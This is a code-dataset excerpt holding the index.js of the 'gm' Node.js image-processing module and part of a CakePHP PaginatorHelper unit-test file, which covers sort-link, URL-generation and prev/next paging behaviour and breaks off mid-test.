roninliu/gulp-mutuo | node_modules/gm/index.js | 3040 |
/**
* Module dependencies.
*/
var Stream = require('stream').Stream;
var EventEmitter = require('events').EventEmitter;
var util = require('util');
util.inherits(gm, EventEmitter);
/**
* Constructor.
*
* @param {String|Number} path - path to img source or ReadableStream or width of img to create
* @param {Number} [height] - optional filename of ReadableStream or height of img to create
* @param {String} [color] - optional hex background color of created img
*/
function gm (source, height, color) {
var width;
if (!(this instanceof gm)) {
return new gm(source, height, color);
}
EventEmitter.call(this);
this._options = {};
this.options(this.__proto__._options);
this.data = {};
this._in = [];
this._out = [];
this._outputFormat = null;
this._subCommand = 'convert';
if (source instanceof Stream) {
this.sourceStream = source;
source = height || 'unknown.jpg';
} else if (Buffer.isBuffer(source)) {
this.sourceBuffer = source;
source = height || 'unknown.jpg';
} else if (height) {
// new images
width = source;
source = "";
this.in("-size", width + "x" + height);
if (color) {
this.in("xc:"+ color);
}
}
if (typeof source === "string") {
// then source is a path
// parse out gif frame brackets from filename
// since stream doesn't use source path
// eg. "filename.gif[0]"
var frames = source.match(/(\[.+\])$/);
if (frames) {
this.sourceFrames = source.substr(frames.index, frames[0].length);
source = source.substr(0, frames.index);
}
}
this.source = source;
this.addSrcFormatter(function (src) {
// must be first source formatter
var inputFromStdin = this.sourceStream || this.sourceBuffer;
var ret = inputFromStdin ? '-' : this.source;
if (ret && this.sourceFrames) ret += this.sourceFrames;
src.length = 0;
src[0] = ret;
});
}
/**
* Subclasses the gm constructor with custom options.
*
* @param {options} options
* @return {gm} the subclasses gm constructor
*/
var parent = gm;
gm.subClass = function subClass (options) {
function gm (source, height, color) {
if (!(this instanceof parent)) {
return new gm(source, height, color);
}
parent.call(this, source, height, color);
}
gm.prototype.__proto__ = parent.prototype;
gm.prototype._options = {};
gm.prototype.options(options);
return gm;
}
/**
* Augment the prototype.
*/
require("./lib/options")(gm.prototype);
require("./lib/getters")(gm);
require("./lib/args")(gm.prototype);
require("./lib/drawing")(gm.prototype);
require("./lib/convenience")(gm.prototype);
require("./lib/command")(gm.prototype);
require("./lib/compare")(gm.prototype);
require("./lib/composite")(gm.prototype);
/**
* Expose.
*/
module.exports = exports = gm;
module.exports.utils = require('./lib/utils');
module.exports.compare = require('./lib/compare')();
module.exports.version = JSON.parse(
require('fs').readFileSync(__dirname + '/package.json', 'utf8')
).version;
| mit |
dhideaki/rss-blog | rss/cake/tests/cases/libs/view/helpers/paginator.test.php | 73517 | <?php
/**
* PaginatorHelperTest file
*
* PHP versions 4 and 5
*
* CakePHP(tm) Tests <http://book.cakephp.org/view/1196/Testing>
* Copyright 2005-2010, Cake Software Foundation, Inc. (http://cakefoundation.org)
*
* Licensed under The Open Group Test Suite License
* Redistributions of files must retain the above copyright notice.
*
* @copyright Copyright 2005-2010, Cake Software Foundation, Inc. (http://cakefoundation.org)
* @link http://book.cakephp.org/view/1196/Testing CakePHP(tm) Tests
* @package cake
* @subpackage cake.tests.cases.libs.view.helpers
* @since CakePHP(tm) v 1.2.0.4206
* @license http://www.opensource.org/licenses/opengroup.php The Open Group Test Suite License
*/
App::import('Helper', array('Html', 'Paginator', 'Form', 'Ajax', 'Javascript', 'Js'));
Mock::generate('JsHelper', 'PaginatorMockJsHelper');
if (!defined('FULL_BASE_URL')) {
define('FULL_BASE_URL', 'http://cakephp.org');
}
/**
* PaginatorHelperTest class
*
* @package cake
* @subpackage cake.tests.cases.libs.view.helpers
*/
class PaginatorHelperTest extends CakeTestCase {
/**
* setUp method
*
* @access public
* @return void
*/
function setUp() {
$this->Paginator = new PaginatorHelper(array('ajax' => 'Ajax'));
$this->Paginator->params['paging'] = array(
'Article' => array(
'current' => 9,
'count' => 62,
'prevPage' => false,
'nextPage' => true,
'pageCount' => 7,
'defaults' => array(
'order' => array('Article.date' => 'asc'),
'limit' => 9,
'conditions' => array()
),
'options' => array(
'order' => array('Article.date' => 'asc'),
'limit' => 9,
'page' => 1,
'conditions' => array()
)
)
);
$this->Paginator->Html =& new HtmlHelper();
$this->Paginator->Ajax =& new AjaxHelper();
$this->Paginator->Ajax->Html =& new HtmlHelper();
$this->Paginator->Ajax->Javascript =& new JavascriptHelper();
$this->Paginator->Ajax->Form =& new FormHelper();
Configure::write('Routing.prefixes', array());
Router::reload();
}
/**
* tearDown method
*
* @access public
* @return void
*/
function tearDown() {
unset($this->Paginator);
}
/**
* testHasPrevious method
*
* @access public
* @return void
*/
function testHasPrevious() {
$this->assertIdentical($this->Paginator->hasPrev(), false);
$this->Paginator->params['paging']['Article']['prevPage'] = true;
$this->assertIdentical($this->Paginator->hasPrev(), true);
$this->Paginator->params['paging']['Article']['prevPage'] = false;
}
/**
* testHasNext method
*
* @access public
* @return void
*/
function testHasNext() {
$this->assertIdentical($this->Paginator->hasNext(), true);
$this->Paginator->params['paging']['Article']['nextPage'] = false;
$this->assertIdentical($this->Paginator->hasNext(), false);
$this->Paginator->params['paging']['Article']['nextPage'] = true;
}
/**
* testDisabledLink method
*
* @access public
* @return void
*/
function testDisabledLink() {
$this->Paginator->params['paging']['Article']['nextPage'] = false;
$this->Paginator->params['paging']['Article']['page'] = 1;
$result = $this->Paginator->next('Next', array(), true);
$expected = '<span class="next">Next</span>';
$this->assertEqual($result, $expected);
$this->Paginator->params['paging']['Article']['prevPage'] = false;
$result = $this->Paginator->prev('prev', array('update' => 'theList', 'indicator' => 'loading', 'url' => array('controller' => 'posts')), null, array('class' => 'disabled', 'tag' => 'span'));
$expected = array(
'span' => array('class' => 'disabled'), 'prev', '/span'
);
$this->assertTags($result, $expected);
}
/**
* testSortLinks method
*
* @access public
* @return void
*/
function testSortLinks() {
Router::reload();
Router::parse('/');
Router::setRequestInfo(array(
array('plugin' => null, 'controller' => 'accounts', 'action' => 'index', 'pass' => array(), 'form' => array(), 'url' => array('url' => 'accounts/'), 'bare' => 0),
array('plugin' => null, 'controller' => null, 'action' => null, 'base' => '/officespace', 'here' => '/officespace/accounts/', 'webroot' => '/officespace/', 'passedArgs' => array())
));
$this->Paginator->options(array('url' => array('param')));
$result = $this->Paginator->sort('title');
$expected = array(
'a' => array('href' => '/officespace/accounts/index/param/page:1/sort:title/direction:asc'),
'Title',
'/a'
);
$this->assertTags($result, $expected);
$result = $this->Paginator->sort('date');
$expected = array(
'a' => array('href' => '/officespace/accounts/index/param/page:1/sort:date/direction:desc', 'class' => 'asc'),
'Date',
'/a'
);
$this->assertTags($result, $expected);
$result = $this->Paginator->numbers(array('modulus'=> '2', 'url'=> array('controller'=>'projects', 'action'=>'sort'),'update'=>'list'));
$this->assertPattern('/\/projects\/sort\/page:2/', $result);
$this->assertPattern('/<script type="text\/javascript">\s*' . str_replace('/', '\\/', preg_quote('//<![CDATA[')) . '\s*Event.observe/', $result);
$result = $this->Paginator->sort('TestTitle', 'title');
$expected = array(
'a' => array('href' => '/officespace/accounts/index/param/page:1/sort:title/direction:asc'),
'TestTitle',
'/a'
);
$this->assertTags($result, $expected);
$result = $this->Paginator->sort(array('asc' => 'ascending', 'desc' => 'descending'), 'title');
$expected = array(
'a' => array('href' => '/officespace/accounts/index/param/page:1/sort:title/direction:asc'),
'ascending',
'/a'
);
$this->assertTags($result, $expected);
$this->Paginator->params['paging']['Article']['options']['sort'] = 'title';
$result = $this->Paginator->sort(array('asc' => 'ascending', 'desc' => 'descending'), 'title');
$expected = array(
'a' => array('href' => '/officespace/accounts/index/param/page:1/sort:title/direction:desc', 'class' => 'asc'),
'descending',
'/a'
);
$this->assertTags($result, $expected);
$this->Paginator->params['paging']['Article']['options']['order'] = array('Article.title' => 'desc');
$this->Paginator->params['paging']['Article']['options']['sort'] = null;
$result = $this->Paginator->sort('title');
$this->assertPattern('/\/accounts\/index\/param\/page:1\/sort:title\/direction:asc" class="desc">Title<\/a>$/', $result);
$this->Paginator->params['paging']['Article']['options']['order'] = array('Article.title' => 'asc');
$this->Paginator->params['paging']['Article']['options']['sort'] = null;
$result = $this->Paginator->sort('title');
$this->assertPattern('/\/accounts\/index\/param\/page:1\/sort:title\/direction:desc" class="asc">Title<\/a>$/', $result);
$this->Paginator->params['paging']['Article']['options']['order'] = array('Article.title' => 'desc');
$this->Paginator->params['paging']['Article']['options']['sort'] = null;
$result = $this->Paginator->sort('Title', 'title', array('direction' => 'desc'));
$this->assertPattern('/\/accounts\/index\/param\/page:1\/sort:title\/direction:asc" class="desc">Title<\/a>$/', $result);
$this->Paginator->params['paging']['Article']['options']['order'] = array('Article.title' => 'desc');
$this->Paginator->params['paging']['Article']['options']['sort'] = null;
$result = $this->Paginator->sort('Title', 'title', array('direction' => 'asc'));
$this->assertPattern('/\/accounts\/index\/param\/page:1\/sort:title\/direction:asc" class="desc">Title<\/a>$/', $result);
$this->Paginator->params['paging']['Article']['options']['order'] = array('Article.title' => 'asc');
$this->Paginator->params['paging']['Article']['options']['sort'] = null;
$result = $this->Paginator->sort('Title', 'title', array('direction' => 'asc'));
$this->assertPattern('/\/accounts\/index\/param\/page:1\/sort:title\/direction:desc" class="asc">Title<\/a>$/', $result);
$this->Paginator->params['paging']['Article']['options']['order'] = array('Article.title' => 'asc');
$this->Paginator->params['paging']['Article']['options']['sort'] = null;
$result = $this->Paginator->sort('Title', 'title', array('direction' => 'desc'));
$this->assertPattern('/\/accounts\/index\/param\/page:1\/sort:title\/direction:desc" class="asc">Title<\/a>$/', $result);
$this->Paginator->params['paging']['Article']['options']['order'] = array('Article.title' => 'asc');
$this->Paginator->params['paging']['Article']['options']['sort'] = null;
$result = $this->Paginator->sort('Title', 'title', array('direction' => 'desc', 'class' => 'foo'));
$this->assertPattern('/\/accounts\/index\/param\/page:1\/sort:title\/direction:desc" class="foo asc">Title<\/a>$/', $result);
}
/**
* test that sort() works with virtual field order options.
*
* @return void
*/
function testSortLinkWithVirtualField() {
Router::setRequestInfo(array(
array('plugin' => null, 'controller' => 'accounts', 'action' => 'index', 'pass' => array(), 'form' => array(), 'url' => array('url' => 'accounts/')),
array('base' => '', 'here' => '/accounts/', 'webroot' => '/')
));
$this->Paginator->params['paging']['Article']['options']['order'] = array('full_name' => 'asc');
$result = $this->Paginator->sort('Article.full_name');
$expected = array(
'a' => array('href' => '/accounts/index/page:1/sort:Article.full_name/direction:desc', 'class' => 'asc'),
'Article.full Name',
'/a'
);
$this->assertTags($result, $expected);
$result = $this->Paginator->sort('full_name');
$expected = array(
'a' => array('href' => '/accounts/index/page:1/sort:full_name/direction:desc', 'class' => 'asc'),
'Full Name',
'/a'
);
$this->assertTags($result, $expected);
$this->Paginator->params['paging']['Article']['options']['order'] = array('full_name' => 'desc');
$result = $this->Paginator->sort('Article.full_name');
$expected = array(
'a' => array('href' => '/accounts/index/page:1/sort:Article.full_name/direction:asc', 'class' => 'desc'),
'Article.full Name',
'/a'
);
$this->assertTags($result, $expected);
$result = $this->Paginator->sort('full_name');
$expected = array(
'a' => array('href' => '/accounts/index/page:1/sort:full_name/direction:asc', 'class' => 'desc'),
'Full Name',
'/a'
);
$this->assertTags($result, $expected);
}
/**
* testSortLinksUsingDirectionOption method
*
* @access public
* @return void
*/
function testSortLinksUsingDirectionOption(){
Router::reload();
Router::parse('/');
Router::setRequestInfo(array(
array('plugin' => null, 'controller' => 'accounts', 'action' => 'index', 'pass' => array(),
'form' => array(), 'url' => array('url' => 'accounts/', 'mod_rewrite' => 'true'), 'bare' => 0),
array('plugin' => null, 'controller' => null, 'action' => null, 'base' => '/', 'here' => '/accounts/',
'webroot' => '/', 'passedArgs' => array())
));
$this->Paginator->options(array('url' => array('param')));
$result = $this->Paginator->sort('TestTitle', 'title', array('direction' => 'desc'));
$expected = array(
'a' => array('href' => '/accounts/index/param/page:1/sort:title/direction:desc'),
'TestTitle',
'/a'
);
$this->assertTags($result, $expected);
$result = $this->Paginator->sort(array('asc' => 'ascending', 'desc' => 'descending'), 'title', array('direction' => 'desc'));
$expected = array(
'a' => array('href' => '/accounts/index/param/page:1/sort:title/direction:desc'),
'descending',
'/a'
);
$this->assertTags($result, $expected);
}
/**
* testSortLinksUsingDotNotation method
*
* @access public
* @return void
*/
function testSortLinksUsingDotNotation() {
Router::reload();
Router::parse('/');
Router::setRequestInfo(array(
array('plugin' => null, 'controller' => 'accounts', 'action' => 'index', 'pass' => array(), 'form' => array(), 'url' => array('url' => 'accounts/', 'mod_rewrite' => 'true'), 'bare' => 0),
array('plugin' => null, 'controller' => null, 'action' => null, 'base' => '/officespace', 'here' => '/officespace/accounts/', 'webroot' => '/officespace/', 'passedArgs' => array())
));
$this->Paginator->params['paging']['Article']['options']['order'] = array('Article.title' => 'desc');
$result = $this->Paginator->sort('Title','Article.title');
$expected = array(
'a' => array('href' => '/officespace/accounts/index/page:1/sort:Article.title/direction:asc', 'class' => 'desc'),
'Title',
'/a'
);
$this->assertTags($result, $expected);
$this->Paginator->params['paging']['Article']['options']['order'] = array('Article.title' => 'asc');
$result = $this->Paginator->sort('Title','Article.title');
$expected = array(
'a' => array('href' => '/officespace/accounts/index/page:1/sort:Article.title/direction:desc', 'class' => 'asc'),
'Title',
'/a'
);
$this->assertTags($result, $expected);
$this->Paginator->params['paging']['Article']['options']['order'] = array('Account.title' => 'asc');
$result = $this->Paginator->sort('title');
$expected = array(
'a' => array('href' => '/officespace/accounts/index/page:1/sort:title/direction:asc'),
'Title',
'/a'
);
$this->assertTags($result, $expected);
}
/**
* testSortKey method
*
* @access public
* @return void
*/
function testSortKey() {
$result = $this->Paginator->sortKey(null, array(
'order' => array('Article.title' => 'desc'
)));
$this->assertEqual('Article.title', $result);
$result = $this->Paginator->sortKey('Article', array('sort' => 'Article.title'));
$this->assertEqual($result, 'Article.title');
$result = $this->Paginator->sortKey('Article', array('sort' => 'Article'));
$this->assertEqual($result, 'Article');
}
/**
* testSortDir method
*
* @access public
* @return void
*/
function testSortDir() {
$result = $this->Paginator->sortDir();
$expected = 'asc';
$this->assertEqual($result, $expected);
$this->Paginator->params['paging']['Article']['options']['order'] = array('Article.title' => 'desc');
$result = $this->Paginator->sortDir();
$expected = 'desc';
$this->assertEqual($result, $expected);
unset($this->Paginator->params['paging']['Article']['options']);
$this->Paginator->params['paging']['Article']['options']['order'] = array('Article.title' => 'asc');
$result = $this->Paginator->sortDir();
$expected = 'asc';
$this->assertEqual($result, $expected);
unset($this->Paginator->params['paging']['Article']['options']);
$this->Paginator->params['paging']['Article']['options']['order'] = array('title' => 'desc');
$result = $this->Paginator->sortDir();
$expected = 'desc';
$this->assertEqual($result, $expected);
unset($this->Paginator->params['paging']['Article']['options']);
$this->Paginator->params['paging']['Article']['options']['order'] = array('title' => 'asc');
$result = $this->Paginator->sortDir();
$expected = 'asc';
$this->assertEqual($result, $expected);
unset($this->Paginator->params['paging']['Article']['options']);
$this->Paginator->params['paging']['Article']['options']['direction'] = 'asc';
$result = $this->Paginator->sortDir();
$expected = 'asc';
$this->assertEqual($result, $expected);
unset($this->Paginator->params['paging']['Article']['options']);
$this->Paginator->params['paging']['Article']['options']['direction'] = 'desc';
$result = $this->Paginator->sortDir();
$expected = 'desc';
$this->assertEqual($result, $expected);
unset($this->Paginator->params['paging']['Article']['options']);
$result = $this->Paginator->sortDir('Article', array('direction' => 'asc'));
$expected = 'asc';
$this->assertEqual($result, $expected);
$result = $this->Paginator->sortDir('Article', array('direction' => 'desc'));
$expected = 'desc';
$this->assertEqual($result, $expected);
$result = $this->Paginator->sortDir('Article', array('direction' => 'asc'));
$expected = 'asc';
$this->assertEqual($result, $expected);
}
/**
* testSortAdminLinks method
*
* @access public
* @return void
*/
function testSortAdminLinks() {
Configure::write('Routing.prefixes', array('admin'));
Router::reload();
Router::setRequestInfo(array(
array('pass' => array(), 'named' => array(), 'controller' => 'users', 'plugin' => null, 'action' => 'admin_index', 'prefix' => 'admin', 'admin' => true, 'url' => array('ext' => 'html', 'url' => 'admin/users'), 'form' => array()),
array('base' => '', 'here' => '/admin/users', 'webroot' => '/')
));
Router::parse('/admin/users');
$this->Paginator->params['paging']['Article']['page'] = 1;
$result = $this->Paginator->next('Next');
$expected = array(
'<span',
'a' => array('href' => '/admin/users/index/page:2', 'class' => 'next'),
'Next',
'/a',
'/span'
);
$this->assertTags($result, $expected);
Router::reload();
Router::setRequestInfo(array(
array('plugin' => null, 'controller' => 'test', 'action' => 'admin_index', 'pass' => array(), 'prefix' => 'admin', 'admin' => true, 'form' => array(), 'url' => array('url' => 'admin/test')),
array('plugin' => null, 'controller' => null, 'action' => null, 'base' => '', 'here' => '/admin/test', 'webroot' => '/')
));
Router::parse('/');
$this->Paginator->options(array('url' => array('param')));
$result = $this->Paginator->sort('title');
$expected = array(
'a' => array('href' => '/admin/test/index/param/page:1/sort:title/direction:asc'),
'Title',
'/a'
);
$this->assertTags($result, $expected);
$this->Paginator->options(array('url' => array('param')));
$result = $this->Paginator->sort('Title', 'Article.title');
$expected = array(
'a' => array('href' => '/admin/test/index/param/page:1/sort:Article.title/direction:asc'),
'Title',
'/a'
);
$this->assertTags($result, $expected);
}
/**
* testUrlGeneration method
*
* @access public
* @return void
*/
function testUrlGeneration() {
$result = $this->Paginator->sort('controller');
$expected = array(
'a' => array('href' => '/index/page:1/sort:controller/direction:asc'),
'Controller',
'/a'
);
$this->assertTags($result, $expected);
$result = $this->Paginator->url();
$this->assertEqual($result, '/index/page:1');
$this->Paginator->params['paging']['Article']['options']['page'] = 2;
$result = $this->Paginator->url();
$this->assertEqual($result, '/index/page:2');
$options = array('order' => array('Article' => 'desc'));
$result = $this->Paginator->url($options);
$this->assertEqual($result, '/index/page:2/sort:Article/direction:desc');
$this->Paginator->params['paging']['Article']['options']['page'] = 3;
$options = array('order' => array('Article.name' => 'desc'));
$result = $this->Paginator->url($options);
$this->assertEqual($result, '/index/page:3/sort:Article.name/direction:desc');
}
/**
* test URL generation with prefix routes
*
* @access public
* @return void
*/
function testUrlGenerationWithPrefixes() {
$_back = Configure::read('Routing');
Configure::write('Routing.prefixes', array('members'));
Router::reload();
Router::parse('/');
Router::setRequestInfo( array(
array('controller' => 'posts', 'action' => 'index', 'form' => array(), 'url' => array(), 'plugin' => null),
array('plugin' => null, 'controller' => null, 'action' => null, 'base' => '', 'here' => 'posts/index', 'webroot' => '/')
));
$this->Paginator->params['paging']['Article']['options']['page'] = 2;
$this->Paginator->params['paging']['Article']['page'] = 2;
$this->Paginator->params['paging']['Article']['prevPage'] = true;
$options = array('members' => true);
$result = $this->Paginator->url($options);
$expected = '/members/posts/index/page:2';
$this->assertEqual($result, $expected);
$result = $this->Paginator->sort('name', null, array('url' => $options));
$expected = array(
'a' => array('href' => '/members/posts/index/page:2/sort:name/direction:asc'),
'Name',
'/a'
);
$this->assertTags($result, $expected, true);
$result = $this->Paginator->next('next', array('url' => $options));
$expected = array(
'<span',
'a' => array('href' => '/members/posts/index/page:3', 'class' => 'next'),
'next',
'/a',
'/span'
);
$this->assertTags($result, $expected);
$result = $this->Paginator->prev('prev', array('url' => $options));
$expected = array(
'<span',
'a' => array('href' => '/members/posts/index/page:1', 'class' => 'prev'),
'prev',
'/a',
'/span'
);
$this->assertTags($result, $expected);
$options = array('members' => true, 'controller' => 'posts', 'order' => array('name' => 'desc'));
$result = $this->Paginator->url($options);
$expected = '/members/posts/index/page:2/sort:name/direction:desc';
$this->assertEqual($result, $expected);
$options = array('controller' => 'posts', 'order' => array('Article.name' => 'desc'));
$result = $this->Paginator->url($options);
$expected = '/posts/index/page:2/sort:Article.name/direction:desc';
$this->assertEqual($result, $expected);
Configure::write('Routing', $_back);
}
/**
* testOptions method
*
* @access public
* @return void
*/
function testOptions() {
$this->Paginator->options('myDiv');
$this->assertEqual('myDiv', $this->Paginator->options['update']);
$this->Paginator->options = array();
$this->Paginator->params = array();
$options = array('paging' => array('Article' => array(
'order' => 'desc',
'sort' => 'title'
)));
$this->Paginator->options($options);
$expected = array('Article' => array(
'order' => 'desc',
'sort' => 'title'
));
$this->assertEqual($expected, $this->Paginator->params['paging']);
$this->Paginator->options = array();
$this->Paginator->params = array();
$options = array('Article' => array(
'order' => 'desc',
'sort' => 'title'
));
$this->Paginator->options($options);
$this->assertEqual($expected, $this->Paginator->params['paging']);
$options = array('paging' => array('Article' => array(
'order' => 'desc',
'sort' => 'Article.title'
)));
$this->Paginator->options($options);
$expected = array('Article' => array(
'order' => 'desc',
'sort' => 'Article.title'
));
$this->assertEqual($expected, $this->Paginator->params['paging']);
}
/**
* testPassedArgsMergingWithUrlOptions method
*
* @access public
* @return void
*/
function testPassedArgsMergingWithUrlOptions() {
Router::reload();
Router::parse('/');
Router::setRequestInfo(array(
array('plugin' => null, 'controller' => 'articles', 'action' => 'index', 'pass' => array('2'), 'named' => array('foo' => 'bar'), 'form' => array(), 'url' => array('url' => 'articles/index/2/foo:bar'), 'bare' => 0),
array('plugin' => null, 'controller' => null, 'action' => null, 'base' => '/', 'here' => '/articles/', 'webroot' => '/', 'passedArgs' => array(0 => '2', 'foo' => 'bar'))
));
$this->Paginator->params['paging'] = array(
'Article' => array(
'page' => 1, 'current' => 3, 'count' => 13,
'prevPage' => false, 'nextPage' => true, 'pageCount' => 8,
'defaults' => array(
'limit' => 3, 'step' => 1, 'order' => array(), 'conditions' => array()
),
'options' => array(
'page' => 1, 'limit' => 3, 'order' => array(), 'conditions' => array()
)
)
);
$this->Paginator->params['pass'] = array(2);
$this->Paginator->params['named'] = array('foo' => 'bar');
$this->Paginator->beforeRender();
$result = $this->Paginator->sort('title');
$expected = array(
'a' => array('href' => '/articles/index/2/page:1/foo:bar/sort:title/direction:asc'),
'Title',
'/a'
);
$this->assertTags($result, $expected);
$result = $this->Paginator->numbers();
$expected = array(
array('span' => array('class' => 'current')), '1', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/articles/index/2/page:2/foo:bar')), '2', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/articles/index/2/page:3/foo:bar')), '3', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/articles/index/2/page:4/foo:bar')), '4', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/articles/index/2/page:5/foo:bar')), '5', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/articles/index/2/page:6/foo:bar')), '6', '/a', '/span',
' | ',
array('span' => array()), array('a' => array('href' => '/articles/index/2/page:7/foo:bar')), '7', '/a', '/span',
);
$this->assertTags($result, $expected);
$result = $this->Paginator->next('Next');
$expected = array(
'<span',
'a' => array('href' => '/articles/index/2/page:2/foo:bar', 'class' => 'next'),
'Next',
'/a',
'/span'
);
$this->assertTags($result, $expected);
}
/**
* testPagingLinks method
*
* @access public
* @return void
*/
function testPagingLinks() {
$this->Paginator->params['paging'] = array('Client' => array(
'page' => 1, 'current' => 3, 'count' => 13, 'prevPage' => false, 'nextPage' => true, 'pageCount' => 5,
'defaults' => array('limit' => 3, 'step' => 1, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()),
'options' => array('page' => 1, 'limit' => 3, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()))
);
$result = $this->Paginator->prev('<< Previous', null, null, array('class' => 'disabled'));
$expected = array(
'span' => array('class' => 'disabled'),
'<< Previous',
'/span'
);
$this->assertTags($result, $expected);
$result = $this->Paginator->prev('<< Previous', null, null, array('class' => 'disabled', 'tag' => 'div'));
$expected = array(
'div' => array('class' => 'disabled'),
'<< Previous',
'/div'
);
$this->assertTags($result, $expected);
$this->Paginator->params['paging']['Client']['page'] = 2;
$this->Paginator->params['paging']['Client']['prevPage'] = true;
$result = $this->Paginator->prev('<< Previous', null, null, array('class' => 'disabled'));
$expected = array(
'<span',
'a' => array('href' => '/index/page:1', 'class' => 'prev'),
'<< Previous',
'/a',
'/span'
);
$this->assertTags($result, $expected);
$result = $this->Paginator->next('Next');
$expected = array(
'<span',
'a' => array('href' => '/index/page:3', 'class' => 'next'),
'Next',
'/a',
'/span'
);
$this->assertTags($result, $expected);
$result = $this->Paginator->next('Next', array('tag' => 'li'));
$expected = array(
'<li',
'a' => array('href' => '/index/page:3', 'class' => 'next'),
'Next',
'/a',
'/li'
);
$this->assertTags($result, $expected);
$result = $this->Paginator->prev('<< Previous', array('escape' => true));
$expected = array(
'<span',
'a' => array('href' => '/index/page:1', 'class' => 'prev'),
'<< Previous',
'/a',
'/span'
);
$this->assertTags($result, $expected);
$result = $this->Paginator->prev('<< Previous', array('escape' => false));
$expected = array(
'<span',
'a' => array('href' => '/index/page:1', 'class' => 'prev'),
'preg:/<< Previous/',
'/a',
'/span'
);
$this->assertTags($result, $expected);
$this->Paginator->params['paging'] = array('Client' => array(
'page' => 1, 'current' => 1, 'count' => 13, 'prevPage' => false, 'nextPage' => true, 'pageCount' => 5,
'defaults' => array(),
'options' => array('page' => 1, 'limit' => 3, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()))
);
$result = $this->Paginator->prev('<< Previous', null, '<strong>Disabled</strong>');
$expected = array(
'span' => array('class' => 'prev'),
'<strong>Disabled</strong>',
'/span'
);
$this->assertTags($result, $expected);
$result = $this->Paginator->prev('<< Previous', null, '<strong>Disabled</strong>', array('escape' => true));
$expected = array(
'span' => array('class' => 'prev'),
'<strong>Disabled</strong>',
'/span'
);
$this->assertTags($result, $expected);
$result = $this->Paginator->prev('<< Previous', null, '<strong>Disabled</strong>', array('escape' => false));
$expected = array(
'span' => array('class' => 'prev'),
'<strong', 'Disabled', '/strong',
'/span'
);
$this->assertTags($result, $expected);
$this->Paginator->params['paging'] = array('Client' => array(
'page' => 1, 'current' => 3, 'count' => 13, 'prevPage' => false, 'nextPage' => true, 'pageCount' => 5,
'defaults' => array(),
'options' => array('page' => 1, 'limit' => 3, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()))
);
$this->Paginator->params['paging']['Client']['page'] = 2;
$this->Paginator->params['paging']['Client']['prevPage'] = true;
$result = $this->Paginator->prev('<< Previous', null, null, array('class' => 'disabled'));
$expected = array(
'<span',
'a' => array('href' => '/index/page:1/limit:3/sort:Client.name/direction:DESC', 'class' => 'prev'),
'<< Previous',
'/a',
'/span'
);
$this->assertTags($result, $expected, true);
$result = $this->Paginator->next('Next');
$expected = array(
'<span',
'a' => array('href' => '/index/page:3/limit:3/sort:Client.name/direction:DESC', 'class' => 'next'),
'Next',
'/a',
'/span'
);
$this->assertTags($result, $expected);
$this->Paginator->params['paging'] = array('Client' => array(
'page' => 2, 'current' => 1, 'count' => 13, 'prevPage' => true, 'nextPage' => false, 'pageCount' => 2,
'defaults' => array(),
'options' => array('page' => 2, 'limit' => 10, 'order' => array(), 'conditions' => array())
));
$result = $this->Paginator->prev('Prev');
$expected = array(
'<span',
'a' => array('href' => '/index/page:1/limit:10', 'class' => 'prev'),
'Prev',
'/a',
'/span'
);
$this->assertTags($result, $expected);
$this->Paginator->params['paging'] = array(
'Client' => array(
'page' => 2, 'current' => 1, 'count' => 13, 'prevPage' => true,
'nextPage' => false, 'pageCount' => 2,
'defaults' => array(),
'options' => array(
'page' => 2, 'limit' => 10, 'order' => array(), 'conditions' => array()
)
)
);
$this->Paginator->options(array('url' => array(12, 'page' => 3)));
$result = $this->Paginator->prev('Prev', array('url' => array('foo' => 'bar')));
$expected = array(
'<span',
'a' => array('href' => '/index/12/page:1/limit:10/foo:bar', 'class' => 'prev'),
'Prev',
'/a',
'/span'
);
$this->assertTags($result, $expected);
}
/**
* test that __pagingLink methods use $options when $disabledOptions is an empty value.
* allowing you to use shortcut syntax
*
* @return void
*/
function testPagingLinksOptionsReplaceEmptyDisabledOptions() {
$this->Paginator->params['paging'] = array(
'Client' => array(
'page' => 1, 'current' => 3, 'count' => 13, 'prevPage' => false,
'nextPage' => true, 'pageCount' => 5,
'defaults' => array(
'limit' => 3, 'step' => 1, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()
),
'options' => array(
'page' => 1, 'limit' => 3, 'order' => array('Client.name' => 'DESC'), 'conditions' => array()
)
)
);
$result = $this->Paginator->prev('<< Previous', array('escape' => false));
$expected = array(
'span' => array('class' => 'prev'),
'preg:/<< Previous/',
'/span'
);
$this->assertTags($result, $expected);
$result = $this->Paginator->next('Next >>', array('escape' => false));
$expected = array(
'<span',
'a' => array('href' => '/index/page:2', 'class' => 'next'),
'preg:/Next >>/',
'/a',
'/span'
);
$this->assertTags($result, $expected);
}
/**
* testPagingLinksNotDefaultModel
*
* Test the creation of paging links when the non default model is used.
*
* @access public
* @return void
*/
function testPagingLinksNotDefaultModel() {
// Multiple Model Paginate
$this->Paginator->params['paging'] = array(
'Client' => array(
'page' => 1, 'current' => 3, 'count' => 13, 'prevPage' => false, 'nextPage' => true, 'pageCount' => 5,
'defaults' => array( 'limit'=>3, 'order' => array('Client.name' => 'DESC')),
'options' => array('page' => 1, 'limit' => 3, 'order' => array('Client.name' => 'DESC'), 'conditions' => array())
),
'Server' => array(
'page' => 1, 'current' => 1, 'count' => 5, 'prevPage' => false, 'nextPage' => false, 'pageCount' => 5,
'defaults' => array(),
'options' => array('page' => 1, 'limit' => 5, 'order' => array('Server.name' => 'ASC'), 'conditions' => array())
)
);
$result = $this->Paginator->next('Next', array('model' => 'Client'));
$expected = array(
'<span',
'a' => array('href' => '/index/page:2', 'class' => 'next'),
'Next',
'/a',
'/span'
);
$this->assertTags($result, $expected);
$result = $this->Paginator->next('Next', array('model' => 'Server'), 'No Next', array('model' => 'Server'));
$expected = array(
'span' => array('class' => 'next'), 'No Next', '/span'
);
$this->assertTags($result, $expected);
}
/**
* testGenericLinks method
*
* @access public
* @return void
*/
function testGenericLinks() {
$result = $this->Paginator->link('Sort by title on page 5', array('sort' => 'title', 'page' => 5, 'direction' => 'desc'));
$expected = array(
'a' => array('href' => '/index/page:5/sort:title/direction:desc'),
'Sort by title on page 5',
'/a'
);
$this->assertTags($result, $expected);
